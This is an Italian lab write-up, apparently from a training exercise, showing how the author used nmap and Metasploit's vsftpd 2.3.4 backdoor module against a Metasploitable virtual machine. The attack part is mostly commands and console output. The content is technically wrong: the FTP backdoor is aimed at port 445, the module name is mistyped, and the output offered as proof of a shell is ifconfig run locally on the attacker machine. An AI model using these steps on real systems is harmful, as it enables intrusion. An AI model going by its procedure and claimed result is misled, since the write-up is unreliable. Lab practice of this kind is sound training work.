

# -Backdoor su Metasploitable

-Per prima cosa ho lanciato il comando "ifconfig" su metasploitable per vedere l'ip da attaccare.

```
metasploitable [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:77:a1:ae
          inet addr:192.168.1.1  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe77:a1ae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4592 (4.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:109 errors:0 dropped:0 overruns:0 frame:0
          TX packets:109 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:21065 (20.5 KB)  TX bytes:21065 (20.5 KB)

msfadmin@metasploitable:~$
```

-Una volta ottenuto l'ip lancio il comando "nmap" sul terminale di kali

**<nmap -sV -O 192.168.1.1>**

-E noteremo che la porta 445 è aperta, una volta vista lancio "msfconsole" che useremo per fare l'attacco.

Una volta aperto "msfconsole" carico l'exploit

**<unix/ftp/vsftpd\_234\_backdoor>**  
dopodiche imposto sia l'host remoto sia la porta remota

```

// =====
*****
o o o
o o
o
PAYLOAD
|(@)(@)***|(@)(@)***|(@)
=====

LOOT
=====

[ metasploit v6.3.16-dev ]
+ -- [ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- [ 975 payloads - 46 encoders - 11 nops ]
+ -- [ 9 evasion ]

Metasploit tip: View advanced module options with
advanced
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PORT 445
[!] Unknown datastore option: PORT. Did you mean RPORT?
PORT => 445
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 445
RPORT => 445
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

```

-Una volta settato il tutto lancio l'attacco con il comando "exploit", e dopo appena l'ho effettuato posso iniziare a lanciare comandi .

```
msf6 exploit(unix/ftp/vsftpd_23g_backdoor) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::d96:4d35:e43e:ad06 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:53:0c:ba txqueuelen 1000 (Ethernet)
    RX packets 27 bytes 11364 (11.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 46 bytes 5526 (5.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
    inet6 fe80::450a:c61d:f39a:1655 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:cb:7d:64 txqueuelen 1000 (Ethernet)
    RX packets 61303 bytes 17026809 (16.2 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 52509 bytes 3219235 (3.0 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 2038 bytes 88216 (86.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2038 bytes 88216 (86.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

metasploitable [in esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

To access official Ubuntu documentation, please visit:  
<http://help.ubuntu.com/>  
No mail.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:77:a1:ae
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe77:a1ae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:60 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:4340 (4.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:107 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:20881 (20.3 KB)  TX bytes:20881 (20.3 KB)

msfadmin@metasploitable:~$
```

CTRL (DESTRA)